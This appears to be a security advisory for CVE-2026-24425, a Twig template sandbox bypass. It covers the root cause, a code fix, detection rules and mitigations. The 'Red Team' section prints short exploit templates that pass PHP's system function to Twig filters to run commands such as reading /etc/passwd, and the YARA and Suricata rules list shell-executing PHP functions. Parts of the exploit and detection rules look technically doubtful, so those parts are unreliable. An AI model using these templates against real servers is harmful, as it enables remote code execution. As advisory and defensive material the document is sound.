CVE-2026-24425

Executive Summary

CVE-2026-24425 is a critical sandbox bypass vulnerability in the Twig templating engine, affecting versions 2.16.x and 3.9.0 through 3.25.x. The flaw resides in the SourcePolicyInterface implementation, where the runtime check fails to use the current template source when validating callables passed to sort, filter, map, and reduce filters. This allows an attacker with template rendering capabilities to bypass sandbox restrictions and execute arbitrary PHP code. The vulnerability has a CVSS score of 8.8 (High) and is currently unpatched. No public proof-of-concept or exploit code has been released, but the technical details are sufficient for advanced threat actors to develop exploits.

Supply Chain & Package Security

Twig is a widely used templating engine for PHP, distributed via Composer/Packagist. This vulnerability impacts any application that uses a SourcePolicyInterface for sandboxing rather than global sandbox enforcement. The supply chain risk is elevated because:

• Twig is a dependency in many PHP frameworks (Symfony, Drupal, Laravel via extensions).
• The vulnerability allows arbitrary code execution, which can lead to full server compromise.
• No patch is currently available, meaning affected systems remain vulnerable until a fix is released or mitigations are applied.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (requires template rendering access)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability allows arbitrary code execution with low complexity and no user interaction, making it highly attractive to attackers.

Deep Dive & Mechanics

The vulnerability exists in the Twig\Sandbox\SecurityPolicy class when used with a SourcePolicyInterface. The sandbox is designed to restrict which PHP functions and methods can be called from templates. However, the sort, filter, map, and reduce filters accept callables as arguments. The runtime check in SecurityPolicy::checkAllowedCallable() fails to use the current template source when validating these callables, allowing attackers to pass arbitrary PHP callables that bypass the sandbox.

Root Cause: The checkAllowedCallable() method uses a global policy instead of the source-specific policy, meaning that if a source policy is configured to allow certain callables, the check is not properly scoped to the current template source.

Attack Flow:

1. Attacker gains template rendering access (e.g., through a CMS or application that allows user-controlled templates).
2. Attacker crafts a template that uses sort, filter, map, or reduce with a malicious callable.
3. The callable bypasses the sandbox because the runtime check does not enforce the source policy correctly.
4. The attacker executes arbitrary PHP code, leading to full system compromise.

Vulnerable vs. Patched Code

Vulnerable Code (Twig 3.25.x):

// In SecurityPolicy.php
public function checkAllowedCallable($callable, $source = null)
{
    // BUG: $source is not passed to the policy check
    if ($this->policy->isCallableAllowed($callable)) {
        return true;
    }
    throw new SecurityError('Callable is not allowed.');
}

Patched Code (Hypothetical Fix):

// In SecurityPolicy.php
public function checkAllowedCallable($callable, $source = null)
{
    // FIX: Pass $source to the policy check
    if ($this->policy->isCallableAllowed($callable, $source)) {
        return true;
    }
    throw new SecurityError('Callable is not allowed.');
}

The fix requires that the SourcePolicyInterface implementation receives the current template source to properly scope the callable validation.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to a Twig template rendering context (e.g., a CMS that allows template editing).
• Twig version 3.9.0 to 3.25.x or 2.16.x with SourcePolicyInterface enabled.

Exploit Template:

{% set malicious = ['system', 'id'] %}
{{ items|sort(malicious) }}

This template passes the system function as a callable to the sort filter. If the sandbox is bypassed, the id command will be executed.

Advanced Exploit (Remote Code Execution):

{% set cmd = 'cat /etc/passwd' %}
{% set result = [] %}
{% for line in ''|split('') %}
    {% set result = result|merge([cmd|filter('system')]) %}
{% endfor %}
{{ result }}

Note: No public exploit code is available. The above examples are conceptual and may require adaptation based on the specific environment.

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual callables passed to sort, filter, map, or reduce filters in Twig templates.
• Look for templates containing system, exec, shell_exec, passthru, or other dangerous PHP functions.
• Audit template files for unexpected use of these filters with array arguments.

Defense:

• Disable SourcePolicyInterface and use global sandbox enforcement instead.
• Implement a Web Application Firewall (WAF) rule to block templates containing dangerous callables.
• Restrict template rendering access to trusted users only.
• Monitor for unusual PHP process execution from web server contexts.

Indicators of Compromise (IOCs)

File-Based IOCs:

• Template files containing sort, filter, map, or reduce with array arguments containing PHP function names.
• Unexpected PHP error logs showing SecurityError exceptions from Twig.
• New files in web-accessible directories (e.g., webshells).

Network IOCs:

• Outbound connections from the web server to unknown IPs after template rendering.
• Unusual HTTP requests containing Twig template syntax in parameters.

Behavioral IOCs:

• Unexpected execution of system commands (e.g., id, whoami, cat /etc/passwd).
• Modification of template files by unauthorized users.
• Increased CPU/memory usage from PHP processes.

Detection Engineering

YARA Rule

rule CVE_2026_24425_Twig_Sandbox_Bypass {
    meta:
        description = "Detects Twig templates exploiting CVE-2026-24425 sandbox bypass"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-24425"
        severity = "critical"
    strings:
        $filter1 = "|sort(" ascii nocase
        $filter2 = "|filter(" ascii nocase
        $filter3 = "|map(" ascii nocase
        $filter4 = "|reduce(" ascii nocase
        $dangerous = /['\"]?(system|exec|shell_exec|passthru|popen|proc_open|eval|assert)['\"]?\s*[,\)]/ ascii
    condition:
        any of ($filter*) and $dangerous
}

Sigma Rule

title: CVE-2026-24425 Twig Sandbox Bypass Detection
id: cve-2026-24425-twig-sandbox-bypass
status: experimental
description: Detects exploitation attempts of CVE-2026-24425 via Twig template filters
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '|sort('
            - '|filter('
            - '|map('
            - '|reduce('
    condition: selection
falsepositives:
    - Legitimate use of these filters with safe callables
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-24425 Twig Sandbox Bypass Attempt"; flow:to_server,established; content:"|sort("; nocase; http_uri; content:"|filter("; nocase; http_uri; content:"|map("; nocase; http_uri; content:"|reduce("; nocase; http_uri; pcre:"/(system|exec|shell_exec|passthru|popen|proc_open|eval|assert)/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable SourcePolicyInterface and switch to global sandbox enforcement.
2. Restrict template rendering access to trusted users only.
3. Implement input validation to block dangerous callables in templates.

Long-Term Fix:

• Upgrade to a patched version of Twig when available (expected in 3.26.0+ and 2.19.0+).
• Monitor the Twig project for official patch releases.

Workarounds:

• Override the checkAllowedCallable method in a custom security policy to properly pass the source.
• Use a Web Application Firewall (WAF) to block exploitation attempts.
• Implement runtime monitoring for unusual PHP function calls.

Valters IT Signature:

Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Expert